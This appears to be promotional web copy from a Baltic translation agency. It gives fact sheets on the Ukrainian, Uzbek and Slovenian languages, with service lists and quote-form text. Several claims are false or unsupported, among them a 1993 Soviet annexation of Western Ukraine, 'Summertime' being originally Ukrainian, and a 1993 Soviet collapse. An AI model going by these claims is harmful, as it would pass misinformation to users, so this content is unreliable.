13th centuries. When Eastern Ukraine was part of the Russian Empire from 1804 to the Russian Revolution of 1917, it was forbidden to speak Ukrainian at schools since it was considered to be part of Russian as the Little Russian dialect (малороссийское наречие русского языка). Whereas in Western Ukraine, which initially was part of the Polish–Lithuanian Commonwealth and later the Austro-Hungarian Empire, the Ukrainian language, called the Ruthenian language (русинська мова), was never banned and there was a more favourable environment for its development. Ukrainian dialects are traditionally categorised into three groups: southwestern (has distinct dialect dissemination, which is related to the influence of Polish, Slovakian and Hungarian), northern (the features of the northern dialects were formed under the influence of the neighbouring Belarusian dialects) and southeast dialect, which is the basis for the modern literary language. In the eastern and southeastern regions of Ukraine, mostly in cities (Zaporizhzhia, Donbas, Kryvyi Rih, Odesa), as well as in the Crimea, since the 17th and 18th centuries exists the so-called суржик ‘Surzhyk’ (original meaning: mix of rye, wheat, and oats) – a colloquial language that was formed by mechanically combining the phonetics of Ukrainian dialects and mostly Russian vocabulary. The Ukrainian vocabulary is primarily made up of Slavic lexicon and the common East Slavic lexicon. Old (Slavic, East Slavic, Ukrainian) lexicon makes up about 90% of Ukrainian vocabulary. The most significant borrowed lexicon groups are Graecisms, Latinisms, Polonisms, Russianisms, and borrowings from other languages via Russian, as well as Russian calques, borrowings from Turkish, and modern borrowings from Western European languages: German, English, French, Italian, and others. During the seven-decade-long soviet period, Ukrainian held a formal official local language status in the Ukrainian SSR. In reality, however, it was often not the case – Ukrainians always had to compete with the Russian language, and soviet authorities had various attitudes towards Ukrainian, ranging from encouragement and tolerance to actual denial. Ukrainian has been the official language in Ukraine since 1991, and the government implemented an administrative policy to expand the use of Ukrainian. The Ukrainian education system was reformed from partially using Ukrainian at schools to using it fully within the first decade of independence. Gradually the use of Ukrainian in mass media and trade was expanded. There were situations when the sudden change of the study language at higher education institutions angered the Russian-speaking citizens. In the course of time most of the population, including ethnic Russians, people of mixed ethnicity, and Russian-speaking Ukrainians, started identifying as Ukrainian citizens. The use of Ukrainian is growing after a long period of decline. Even though there are almost fifty million ethnic Ukrainians in the whole world, including 37. 5 million in Ukraine (77. 8% of the population), Ukrainian is most common in western and central Ukraine. Both Ukrainian and Russian are spoken in Kyiv, which is a noticeable difference from recent history when Russian was most commonly spoken in the city. It is considered that these changes were largely caused by an influx of immigrants from Ukraine’s western regions, as well as a handful of Kyivan citizens that chose to speak the language they speak at home in public places. Public advertisements and announcements in Kyiv were put out in Ukrainian. Russian is the most common language in most cities and towns of south and east Ukraine. On 25 April 2019, the Verkhovna Rada of Ukraine passed the law on the obligatory use of Ukrainian in state and local authority institutes. Ukraine is putting in an effort to decrease the influence of Russian in the country. The main goal of the passed law is to completely secure the use of Ukrainian in the public sphere. From now on, businesses are required to provide information about their products and services in Ukrainian. The discussions of politicians were heated and opinions were radically opposite. The law stated that the following professionals shall speak Ukrainian fluently: politicians, including the president, teachers, medical staff, lawyers, and notaries. Ukrainian is required to be used almost everywhere: in television and radio, the press, sports events, advertisements, and political party activities. The law does not apply to the sphere of private communication and religious ceremonies. Knowledge of the Ukrainian language is a requirement for acquiring citizenship. In Western Ukraine, where the Russian language is hardly heard, answering in Ukrainian to a question spoken in Russian is an age-old practice, that has not changed significantly since 1993, when this region got annexed by the Soviet Union after its invasion of Poland. Based on the results of a language competition that took place in Paris in 1934, Ukrainian is the third most beautiful language after French and Persian in terms of phonetics, vocabulary, phraseology, and sentence structure. Additionally, it is officially the second most melodic language in the world after Italian. Therefore, it is not surprising that many admit to noticing a resemblance between Ukrainian and bird songs. In order to make sure it is true, one should listen to George Gershwins’s world-famous Summertime in its original language, which is... Ukrainian! Summertime was inspired by the old Ukrainian lullaby Oi Hodyt’ Son Kolo Vikon. Ukrainian has a unique alphabet that has two letters not found in any other language: ґ and ї. There are seven UNESCO World Heritage sites in the country, including the Saint-Sophia Cathedral in Kyiv, the Ancient City of Tauric Chersonese, and the Ancient and Primeval Beech Forests of the Carpathians. Ukrainian citizens are bilingual, speaking both Russian and Ukrainian. Ukrainians are proud of their beautiful language. If you speak to them in Russian, they will most likely answer you in Ukrainian. Those who love McDonald’s would find it interesting that the McDonald’s restaurant in Kyiv’s biggest railway station is the third most visited in the world. Arsenalna metro station in Kyiv is known as the deepest metro station in the world (105. 5 meters underground). THE UKRAINIAN ALPHABET The Ukrainian alphabet is used for writing in Ukrainian. The Ukrainian alphabet uses modified Cyrillic. There are 33 letters in the alphabet which represent 38 phonemes (sounds). 21 of those represent consonants (б, в, г, ґ, д, ж, з, к, л, м, н, п, р, с, т, ф, х, ц, ч, ш, щ), 10 – vowels (а, е, є, и, і, ї, о, у, ю, я), 1 – partial vowel (й). The diacritical mark ь does not represent a phoneme but points to the palatalisation of the previous consonant. Cyrillic writing or the Cyrillic alphabet is one of the two Old Slavic writing variants. It was developed based on the alphabet created by Saint Cyril and Methodius and the Greek Byzantine alphabet. Six Slavic languages use alphabets based on the Early Cyrillic alphabet – Belarussian, Bulgarian, Russian, Macedonian, Serbian, and Ukrainian, as well as several other non-Slavic languages mostly in former Soviet territories. The Ukrainian alphabet has existed in its current form since the end of the 19th century. Unlike the Russian alphabet, it does not have the letters Ёё, ъ, ы, Ээ, but it does include Ґґ, Єє, Іі, and Її (in the time period between 1932 and 1990 the letter Ґ did not exist, meanwhile the last letter in the alphabet was the diacritical mark). Similarly, numerous words exist that use the Ukrainian apostrophe, which is an analog of the Russian Ъ and Ь, by not palatalising the preceding consonant. Written Ukrainian used the Latin alphabet throughout different time periods. At the moment there is no standardised or regulated Ukrainian Latin alphabet (only rules regarding Latin transliteration of Cyrillic letters have been passed). Its scope is quite limited (most often they are publications dedicated to the Ukrainian Latin alphabet itself). Discussions on the unification and use of the Ukrainian Latin alphabet took place in Galicia and Bukovina in the 1830s and 1850s and then continued in the 1920s during the Ukrainian Soviet Socialist Republic. WHERE AND HOW MANY PEOPLE SPEAK UKRAINIAN? Around 45 million people speak the Ukrainian language. Ukrainian is the only official language in Ukraine, and it is one of the three official languages in the unrecognised Pridnestrovian Moldavian Republic as well. It has the recognised minority or regional language status in Moldova, Romania, Serbia, Slovakia, Croatia, and Bosnia and Herzegovina. Ukrainian also has certain official functions on a regional level in the United States of America and Poland. The Ukrainian diaspora is the third largest Ukrainian community in the world after Ukraine and Russia and the fifth largest ethnic group in Canada. Canada has more than a million people who one way or another identify themselves with the Ukrainian ethnos. During the first two immigration waves, immigrants spoke in modern Western Ukrainian dialects, but over time Canadian Ukrainian developed differently from Western Ukrainian dialects due to the long distance and influence of English. At the moment, the number of Ukrainian speakers in Canada is decreasing but there are Ukrainian schools and opportunities to learn Ukrainian at universities in Canada. The Canadian Institute of Ukrainian Studies (Канадський iнститут українських студiй), established in 1976, publishes scientific literature and runs projects in the field of Ukrainian language studies, for example, the Journal of Ukrainian Studies or the Encyclopedia of Ukraine (Енциклопедія українознавства). Poland has the second largest Ukrainian diaspora of 1. 2 million people, followed by the USA with 1 million and then Brazil, Argentina, Moldova, Kazakhstan, Belarus, Germany, Czechia, Romania, Portugal, and Latvia. HOW DIFFICULT IS THE UKRAINIAN LANGUAGE? Learning vocabulary is usually the most difficult part of studying any language. This is because vocabulary recall requires repetition and frequent use, and Ukrainian vocabulary is no exception. One of the most valuable reasons for learning Ukrainian is that it will allow you to get a little closer to Ukrainian culture and speak to Ukrainian people's hearts, not their minds. Language has been very important and significant for Ukrainians ever since ancient times. A person who is motivated to learn Ukrainian and does not have previous experience in language learning, and consistently studies one hour a day, will probably need 3. 5 or 4 years to reach the intermediate level in Ukrainian. The pronunciation of Ukrainian is also quite difficult for most European language speakers. Most consonants have palatalised and non-palatalised versions, which one should be able to differentiate, and the language has many sounds which do not exist in other languages, as well as a few letter combinations (consonant combinations in particular) that can be difficult to pronounce. Lastly, Ukrainian writing is in Cyrillic. It is possibly the biggest challenge when learning to write in Ukrainian. The Foreign Service Institute in the USA classifies Ukrainian as a difficult language, which takes up 1100 studying hours for the learner (in optimal situations). That is almost two times more than the learning time for Dutch and two times less than Chinese. Studies in Ukrainian universities are considered to be high-level studies. The state is quite welcoming to foreign students. Universities provide tens of study programs and scholarships for potential students from abroad. Education in Ukraine is popular among students from African and Asian countries, for example, Libya, Bangladesh, India, China, Nigeria, Egypt, Jordan, etc. Study program variety and relatively low study costs in Ukraine appeal to students who want to get an education in medicine or engineering abroad. Education institutes offer four different learning languages: Ukrainian, Russian, English, and French (for study programs in medicine). It is possible to understand Polish, Czech, Belarussian, and other Slavic languages if one has learned Ukrainian as they are quite similar. UKRAINIAN INTERPRETER AND TRANSLATOR The Skrivanek Baltic translation agency usually prepares typical written and oral translations by finding the most appropriate solution for the client’s request. We do regular and also notarised translations. We also offer proofreading and stylistic improvement of texts in Ukrainian; text correction and terminology check-ups are done if requested. We will guarantee that the text is effective, stylistically appropriate, and complies with the cultural context in regard to both the language and the country. We most often do the following translations from and to Ukrainian for business clients – SEO content, e-commerce and website content, advertisement slogans, marketing, and product labels in accordance with EU standards. For private individuals, we offer translations of personal identification documents, marriage certificates, birth certificates, education documents, passports, medical documents, etc. It is possible to notarise the translations. UKRAINIAN LANGUAGE IN BUSINESS On 16 July 2019, the law to ensure the functioning of the Ukrainian language as a state language was passed. The law stated that all foreign entrepreneurs planning to expand their business within Ukrainian territories should ensure the availability of all legal documents, product information, websites, and other business-related documents in Ukrainian. Ukrainian entrepreneurs usually speak fluent Russian, Polish and English, therefore it is possible to arrange business meetings in these languages. But in any case, every Ukrainian person would highly appreciate it if their business partner respected their native language and traditions and knew at least a few polite phrases in Ukrainian. LATVIA AND UKRAINE COOPERATION The Ukrainian population in Latvia increased rapidly after the Second World War when thousands of Ukrainians were sent to work in the Latvian SSR, and it is considered an ethnic minority formed through recent migration. The number of Ukrainians decreased almost by half after Latvia regained its independence. In 1897 there were thousands Ukrainian soldiers and Riga Polytechnic Institute students living in Latvia. The rest of them moved here during Soviet times. At the moment, there are 62 thousand Ukrainians living in Latvia. It is the youngest ethnic minority in terms of age. In terms of education level, Ukrainians are second in the country (after Jewish people); they start strong families and adapt to new social environments quite easily – there are fewer unemployed people among Ukrainians than any other ethnic minority group. Ukrainians are characterised by their loyalty to authority, cordiality, sense of responsibility and discipline. These resolutions are based on research conducted by Днiпро, Ukrainian Society of Culture and Education, within the framework of the Ukrainians in Latvia conference with the funding of the Latvian Society Integration Foundation. 452 Ukrainian minority representatives from Rīga, Ventspils, Liepāja, Rēzekne, Tukums, and Rīga district participated in the survey. Most of the Ukrainian community lives in Rīga. There is a Ukrainian high school in the capital city whose graduates fluently speak Ukrainian and Latvian. Latvian Ukrainians are the second biggest community after Latvian Jews, but their level of naturalisation is the lowest. Most Latvian Ukrainians live in mixed Ukrainian and Russian families. Interest in Latvian Ukrainian culture is promoted by the Latvian Ukrainian Union public organisations and the Днiпро cultural society (named after the biggest river in Ukraine). The Ukrainian children’s choir is also named Днiпро. Ukrainian culture centres are located in Ventspils, Rēzekne, Liepāja, Daugavpils, and Vangaži. Compared to other ethnic minorities in Latvia, Ukrainians have the lowest naturalisation level. Even though surveys suggest that half of Ukrainians practically support integration, most of them think that it hasn’t even started. Integration structures are formalised, separated from the needs and interests of the Ukrainian ethnic minority. The Ukrainian ethnic minority has a special place in Latvia’s multinational society. It was formed after the Second World War, during the sovietisation of the Baltics. Therefore it can be considered a minority formed through migration, unlike other ethnic minorities that have historically lived in Latvian territories, for example, Belarusians, Poles, Germans, and Jews. The Ukrainian ethnic minority is going through the integration process very slowly. The most important measurement in this situation – the level of naturalisation – is the lowest compared to other minorities. Most Ukrainians consider the knowledge of the official language to be the most important requirement for integration. Even though Ukrainians have considerably improved their Latvian skills since 1993, only 11% speak it fluently. Free Latvian lessons, organised by Ukrainian culture and education associations and schools, could be used as an effective method by trying to relate it to the native language environment and Ukrainian culture. Considering the recent political situation in Ukraine, Latvia has been a huge support to Ukraine and its citizens. With the help of the Ministry of Defence and Elmārs Pļaviņš, chief chaplain of the Latvian National Armed Forces, Latvia has transported more than 400 tonnes of humanitarian aid to citizens of the Donetsk and Luhansk regions since 2014. By 18 January 2021, 21 humanitarian aid shipments had already been delivered. On 20 January 2021, the Latvian National Armed Forces handed over 7 vehicles to the Armed Forces of Ukraine to strengthen military medical skills. Since 2014, a total of 75 victims of the conflict in Ukraine (Ukrainian soldiers, political prisoners freed by Russia, and their family members) have been admitted to Latvia for treatment within the framework of the state support program. They have received medical help, and physical and psychological rehabilitation in the amount of 181 000 EUR. Excellent cooperation has also been established in the field of education. In 2020, 65 Ukrainian students studied remotely in the European Union Studies – Internal and Foreign Policy study program at the University of Latvia in the area of young professionals in order to strengthen great management capacity. More than 150 Ukrainian students have graduated from the program since 2015. In 2020, studies continued in the Online Intensive Programme in European Law and Economics at the Riga Graduate School of Law. Seven Ukrainian students graduated from the school in 2020. In total, 54 Ukrainian professionals have graduated from the programs at the Riga Graduate School of Law since 2014. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO UKRAINIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Ukrainian; Ukrainian to Latvian; Estonian to Ukrainian; Ukrainian to Estonian; Lithuanian to Ukrainian; Ukrainian to Lithuanian; Russian to Ukrainian; Ukrainian to Russian; Czech to Ukrainian; Ukrainian to Czech; Polish to Ukrainian; Ukrainian to Polish; Ukrainian to Ukrainian; Ukrainian to Ukrainian; Ukrainian to Spanish; Spanish to Ukrainian; German to Ukrainian; Ukrainian to German; Italian to Ukrainian; Ukrainian to Italian; French to Ukrainian; Ukrainian to French; Danish to Ukrainian; Ukrainian to Danish; Norwegian to Ukrainian; Ukrainian to Norwegian; Swedish to Ukrainian; Ukrainian to Swedish; Finnish to Ukrainian; Ukrainian to Finnish, English to Ukrainian; Ukrainian to English and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO UKRAINIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Ukrainian; Ukrainian to Latvian; Estonian to Ukrainian; Ukrainian to Estonian; Lithuanian to Ukrainian; Ukrainian to Lithuanian; Russian to Ukrainian; Ukrainian to Russian; Czech to Ukrainian; Ukrainian to Czech; Polish to Ukrainian; Ukrainian to Polish; Ukrainian to Ukrainian; Ukrainian to Ukrainian; Ukrainian to Spanish; Spanish to Ukrainian; German to Ukrainian; Ukrainian to German; Italian to Ukrainian; Ukrainian to Italian; French to Ukrainian; Ukrainian to French; Danish to Ukrainian; Ukrainian to Danish; Norwegian to Ukrainian; Ukrainian to Norwegian; Swedish to Ukrainian; Ukrainian to Swedish; Finnish to Ukrainian; Ukrainian to Finnish, English to Ukrainian; Ukrainian to English and others. --- > General and specialised translations in Uzbek language, interpretation, localisation and other Uzbek language solutions. - Published: 2022-09-28 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-uzbeku-valoda/ - Translation Priorities: Optional UZBEK TRANSLATIONS HOW MUCH DOES IT COST TO TRANSLATE INTO UZBEK? The price for translations from/into Uzbek is set individually for each order. The price consists of several components according to the current price list of the Skrivanek translation agency. The price is based on the volume of the material to be translated, the translation deadlines, the specifics of the text content, repetition of the text in the translation, graphic processing, text formatting, proofreading, as well as additional services chosen by the client. IS THERE A PRICE LIST FOR TRANSLATIONS? Yes, the price list for translation, interpretation, localisation, and adaptation services from/to Uzbek is an integral part of our cooperation agreement with our clients. Skrivanek's translation project managers always provide detailed information on the price of a translation before the translation project starts. The price of each order is determined individually in accordance with Skrivanek's current price list, based on the number of words in the source text, duplication in the translation and other parameters. We look forward to receiving your translated material in an e-mail for a quote. Contact Skrivanek Baltic today for a free quote on Uzbek translation or any other combination of translation and related business services. Our Uzbek language services include: Uzbek Document Translation Uzbek Simultaneous Interpretation Uzbek Linguistic Validation Uzbek Consecutive Interpretation Uzbek Transcription Uzbek Typesetting and Graphics Uzbek Voiceovers and Subtitling Uzbek Staffing Solutions Uzbek Multicultural Marketing Uzbek Document Management Uzbek Deposition Services Uzbek Virtual Data Room Services Uzbek E-learning Support Looking for a language solution in Uzbek language? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year UZBEK LANGUAGE AND UZBEKISTAN IN FACTS There was a time when Uzbekistan was the centre of the world. Silk roads led to Samarkand, Bukhara, and Kokand. Caravans of camels travelled to these magical cities, bringing with them great wealth and gold. Thousands of cultures have flourished in Uzbekistan, and history has left its mark on its culture, language, architecture, traditions, and art. That is why Uzbekistan is undoubtedly the most beautiful and spectacular of the Central Asian countries. Uzbek (Oʻzbek tili) is a Turkic language of the Altaic language family. It is the only official language of Uzbekistan. Many people in eastern Turkmenistan, southern Kazakhstan, northern and western Tajikistan, northern Afghanistan, Pakistan, and China also speak the language. Uzbek is also one of the official and working languages of the Organisation of Turkic States. Uzbek has been influenced by Russian and Tajik. There is also an indirect influence from Arabic. Uzbek is divided into two major dialects – Southern Uzbek and Northern Uzbek (the Kipchak-Uzbek dialect is practically a dialect of Kazakh). Uzbek has no official language regulator. Uzbekistan has state-controlled media and no freedom of the press. Uzbek national cuisine is eclectic, mixing the flavours and traditions of countries whose trade routes have passed through Uzbekistan for centuries. Plov is the national dish of Uzbekistan. Interestingly, it was invented by the cooks of Alexander the Great! The handshake is only acceptable between men. An Uzbek woman is greeted by bowing, holding her right hand on her chest. Uzbek applied arts are characterised by painted ceramics and colourful, ornamental embroidery. Fine embroidery with gold threads is still practised in the Bukhara province. Tashkent's three metro stations have marble ceilings and pillars, engravings in gold and beautiful chandeliers. They are not only some of the most beautiful stations in the world, but also the largest railway system in Central Asia. THE UZBEK ALPHABET Throughout its history, Uzbek has been written in several alphabets. The Arab invasion of Uzbekistan in the eighth century converted nomadic Turkic tribes to Islam. As a result, Uzbek was written in the Perso-Arabic alphabet for centuries before the Soviet Union replaced it with the Latin alphabet in the late 1920s. The dialects of the major cities of Tashkent and Fergana were then used as the standard Uzbek language. However, as part of the Russification campaign, the Latin alphabet was abolished in early 1940 and Cyrillic was introduced. Since the collapse of the Soviet Union in 1993, the Latin alphabet has been reintroduced to facilitate trade and improve relations with foreign countries and was declared the official alphabet by the Uzbek government. Uzbek is one of the few Central Asian languages to use the Latin alphabet. In 2018, another draft alphabet reform was published. It proposed replacing the digraphs Ch, Sh, Gʻ, Oʻ with oç, ş ş, Ğ ğ, Ŏ ŏ respectively. Another draft reform was published in 2019. The last language reform project was in 2021, when the Uzbek government announced a complete switch from the Cyrillic alphabet to the Latin alphabet. Despite the official status of the Latin script in Uzbekistan, the use of Cyrillic is still widespread, especially in advertising and signage. Newspapers may contain mixed articles with headlines in Latin and articles in Cyrillic. Arabic script is no longer used in Uzbekistan, except symbolically in limited texts or in Chagatai (the old Uzbek language) in academic studies. Latin Uzbek alphabet: А а, B b, D d, Е е, F f, G g, H h, I i, J j, K k, L l, М m, N n, О о, P p, Q q, R r, S s, Т t, U u, V v, X x, Y y, Z z, Oʻ oʻ, Gʻ gʻ, Sh sh, Ch ch, Ng ngʼ. Cyrillic Uzbek alphabet: А а, Б б, В в, Г г, Д д, Е е, Ё ё, Ж ж, З з, И и, Й й, К к, Л л, М м, Н н, О о, П п, Р р, С с, Т т, У у, Ф ф, Х х, Ц ц, Ч ч, Ш ш, Ъ ъ, Ь ь, Э э, Ю ю, Я я, Ў ў, Қ қ. HOW COMPLEX IS UZBEK? Uzbek is classified as a category 2 language in terms of difficulty of learning. It is one of the languages with significant linguistic and cultural differences from the most popular languages in the world. Becoming fluent in Uzbek will require a minimum of 44 weeks or 1100 hours of study. For students whose mother tongue is Turkish, learning Uzbek will take less time. WHERE AND HOW MANY SPEAK UZBEK? Uzbek has about 44 million speakers, 34 million of whom are native speakers in Uzbekistan, about 7 million in Afghanistan, 1. 6 million in Pakistan and about 5 million in the rest of Central Asia, making it the second most spoken Turkic language after Turkish. UZBEK TRANSLATOR AND INTERPRETER Skrivanek Baltic offers professional Uzbek interpreting services, as well as written and notarised translations to and from Uzbek. Translations are carried out by translators with many years of experience in their field and professional knowledge of the area in which the original text is to be translated. Our experience guarantees that the translation is consistent with the original text and that the information contained is comprehensible. Our Uzbek proof-readers and editors will take care of the stylistic improvement and proofreading of the text. For both legal and individual clients, we offer court interpreting, as well as business interpreting to and from Uzbek. We also currently provide simultaneous interpreting on Zoom and other online platforms – this can range from business conversations to business meetings, and we are also happy to interpret at conferences. We translate technical documentation, websites, contracts, and e-commerce content from and into Uzbek. For any client's needs, we will find the right solution and language specialist. For individuals, we provide notarised translations of identity documents, marriage certificates, education documents and other civil documents from and into Uzbek. UZBEK LANGUAGE IN BUSINESS Uzbekistan has a diverse and long history. Once part of the ancient Persian Empire, captured by Genghis Khan and oppressed by the Red Army, Uzbekistan is now the most populous post-Soviet country in Central Asia, with an estimated 34. 23 million inhabitants. Uzbekistan plays an increasingly important role in the world economy, especially in gas, cotton, oil, coal, and important minerals. In fact, Uzbekistan is the world's second largest exporter of cotton. As in neighbouring Kazakhstan and Kyrgyzstan, Russian is still widely spoken in Uzbekistan because of the Soviet occupation. Uzbek is now the official language of the country and is an important language of the Turkic language family, spoken by the majority of ethnic Uzbeks in the country. Although many Uzbeks can speak both Uzbek and Russian, Russian is more dominant in science, trade, and business. Both languages are taught in schools, some emphasising Uzbek, others Russian. As a business language, Uzbek is practically used only in Uzbekistan. It is the native and everyday language of Uzbek people at home, and in the workplace communication is often still in Russian. Russian and English are used for business communication with business partners from other countries. LATVIA AND UZBEKISTAN Uzbekistan is one of Latvia's most important cooperation partners in Central Asia. Diplomatic relations between Latvia and Uzbekistan were established on 3 November 1992. The Embassy of the Republic of Uzbekistan in Latvia is located in Riga. Uzbekistan is Latvia's largest trading partner in Central Asia. The two countries cooperate in trade, agriculture, forestry, green technologies, and IT. Given the efforts to develop connectivity between Europe and Asia, cooperation in transport is important for both countries. There is also successful cooperation in the field of education. Latvian universities offer Uzbek students the opportunity to study at the European Union level. Uzbekistan ranks 2nd in the number of foreign students in Latvian universities, with the largest number from India. The most popular fields of study are transport, banking and finance, technical sciences and medicine. Uzbek students benefit from Latvian government scholarships and participate in summer schools organised by educational institutions. In 2020, 1,329 Uzbek students studied in Latvia, the second largest group among all foreign students in Latvia. Students and researchers from Uzbekistan are also awarded Latvian government scholarships every year, for example, in the 2021/2022 academic year, 6 scholarships for studies and 2 scholarships for research at Latvian universities and research organisations were awarded, as well as 10 scholarships for participation in international summer schools. Uzbek colleagues actively participate in events organised by the Latvian Ministry of Education and Science, promoting the exchange of best practices in education reforms, digitisation, youth skills development, and education quality monitoring. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO UZBEK: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Uzbek; Uzbek to Latvian; Estonian to Uzbek; Uzbek to Estonian; Lithuanian to Uzbek; Uzbek to Lithuanian; Russian to Uzbek; Uzbek to Russian; Czech to Uzbek; Uzbek to Czech; Polish to Uzbek; Uzbek to Polish; Ukrainian to Uzbek; Uzbek to Ukrainian; Uzbek to Spanish; Spanish to Uzbek; German to Uzbek; Uzbek to German; Italian to Uzbek; Uzbek to Italian; French to Uzbek; Uzbek to French; Danish to Uzbek; Uzbek to Danish; Norwegian to Uzbek; Uzbek to Norwegian; Swedish to Uzbek; Uzbek to Swedish; Finnish to Uzbek; Uzbek to Finnish, English to Uzbek; Uzbek to English and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO UZBEK: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Uzbek; Uzbek to Latvian; Estonian to Uzbek; Uzbek to Estonian; Lithuanian to Uzbek; Uzbek to Lithuanian; Russian to Uzbek; Uzbek to Russian; Czech to Uzbek; Uzbek to Czech; Polish to Uzbek; Uzbek to Polish; Ukrainian to Uzbek; Uzbek to Ukrainian; Uzbek to Spanish; Spanish to Uzbek; German to Uzbek; Uzbek to German; Italian to Uzbek; Uzbek to Italian; French to Uzbek; Uzbek to French; Danish to Uzbek; Uzbek to Danish; Norwegian to Uzbek; Uzbek to Norwegian; Swedish to Uzbek; Uzbek to Swedish; Finnish to Uzbek; Uzbek to Finnish, English to Uzbek; Uzbek to English and others. --- > General and specialised translations, interpretation, localisation and other Slovenian language solutions. Get a free quote! - Published: 2022-09-28 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovenu-valoda/ - Translation Priorities: Optional SLOVENIAN TRANSLATIONS HOW MUCH DO SLOVENIAN TRANSLATIONS COST? Several components of the price for the translation from/into the Slovenian language are taken into account: the amount of material to be translated, format, the translation deadlines, the specificity of the text content, the repetition of the text in the translation, graphic processing, correction and any other services selected by the client (notarised certification and other services). IS THE TRANSLATION PRICE LIST AVAILABLE? In order to prepare a price specially for you, we will be waiting for your material to be translated by email. The pricing list for written and spoken translation, localisation and adaptation services from/to Slovenian is included in our client collaboration agreement. Translation project managers of our agency will provide detailed information on the translation price before starting a translation project. The price of each order is decided separately according to the current price list of Skrivanek, based on the number of words in the source text, text duplication in the translation and other characteristics. Contact Skrivanek Baltic today for a free quote on Slovenian translation or any other combination of translation and related business services. Our Slovenian language services include: Slovenian Document Translation Slovenian Simultaneous Interpretation Slovenian Linguistic Validation Slovenian Consecutive Interpretation Slovenian Transcription Slovenian Typesetting and Graphics Slovenian Voiceovers and Subtitling Slovenian Staffing Solutions Slovenian Multicultural Marketing Slovenian Document Management Slovenian Deposition Services Slovenian Virtual Data Room Services Slovenian E-learning Support Looking for a language solution in Slovenian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE SLOVENIAN LANGUAGE The Slovenian language (slovenski jezik or slovenščina) is a Slavic language from the Indo-European language family. It is the official language of Slovenia, and also one of the official working languages of the European Union. The Slovenian language belongs to the South Slavic language group and is related to the Serbo-Croatian language. It is interesting that in some regions of Slovenia closer to the borders of neighbouring countries, Hungarian and Italian are also used. Often Slovenian is described as the richest language from the Slavic branch in terms of dialects with different levels of understanding one another. There are seven dialects which are divided to 50 subdialects. It is not a coincidence that Slovenians have a saying “Every village has its own voice” (Vsaka vas ima svoj glas) which reflects the diversity of the dialects very well. Even though the pronunciation varies greatly between dialects, these differences do not create a problem for inhabitants from other regions to understand each other. The standard Slovenian language is mainly used in public presentations or official events. Fragments of writings found by historians show that the Slovenian language began to form around the 10th century. The first 50 books in Slovenian had already been written by the 16th century. They include the first grammar book and a translation of the Bible. From the Middle Ages until the collapse of the Austro-Hungarian empire in 1918 the German language was used by people of higher status and the Slovenian language was used by ordinary civilians. During this time the German language had a strong influence on the Slovenian language and even nowadays the spoken language has many Germanisms. During World War II Slovenia was occupied by Germans, Italians, Hungarians, and Croatians. Together with the occupation came the prohibition to use the Slovenian language in schools. Some occupants also prohibited use of Slovenian language in all public spaces. If pupils in school were caught using their native language, they were hit with a wooden stick, ruler or forced to kneel on a pile of corn. During this time thousands of Slovenian books were destroyed causing irreparable damage to Slovenian heritage. After World War II Slovenia became a part of Yugoslavia and Slovenian became one of its official languages. It was used almost in all social life except the Yugoslavian army where only the Serbo-Croatian language was used. In 1991, Slovenia got its independence, and Slovenian became the official language, and it started to be used in all fields entirely. THE SLOVENIAN ALPHABET The Slovenian alphabet is an alphabet used to write down the Slovenian language. It consists of 25 letters and is based on the Latin alphabet with 3 additional letters: Č, Š, Ž. In writing, three digraphs are also used: NJ, LJ and DŽ. Therefore, the total number of graphemes in written Slovenian is 28. Each letter, including digraphs, have their own analogue in Cyrillic. HOW DIFFICULT IS THE SLOVENIAN LANGUAGE? The Slovenian language is not considered to be a complex language because Latin letters are used to write the language. Pronunciation is the same as written, excluding a few letters that are not common in many other languages – č, ž, š. Slovenians also tend to have words without any vowels which initially look 